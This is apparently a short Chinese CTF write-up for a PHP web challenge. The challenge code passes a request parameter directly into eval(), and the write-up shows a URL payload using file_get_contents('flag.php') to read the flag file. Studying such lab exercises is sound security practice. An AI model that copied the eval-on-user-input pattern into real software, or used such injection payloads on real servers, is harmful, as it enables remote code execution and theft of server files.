1. 程式人生 > >web / 爆破2

web / 爆破2

題目:flag不在變數中。

開啟連結:

<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);

找了許多題解都是構造payload,知識有限,對payload不瞭解。如下:

http://bcc9f1f0ae4a4c1c990aff308f30cf606a2e804b655d4f0a.game.ichunqiu.com/?hello=file_get_contents('flag.php')

file_get_contents()函式是將檔案中的內容以字串的形式讀取。

頁面變成

string(83) " <?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);

此時檢視頁面原始碼會發現flag。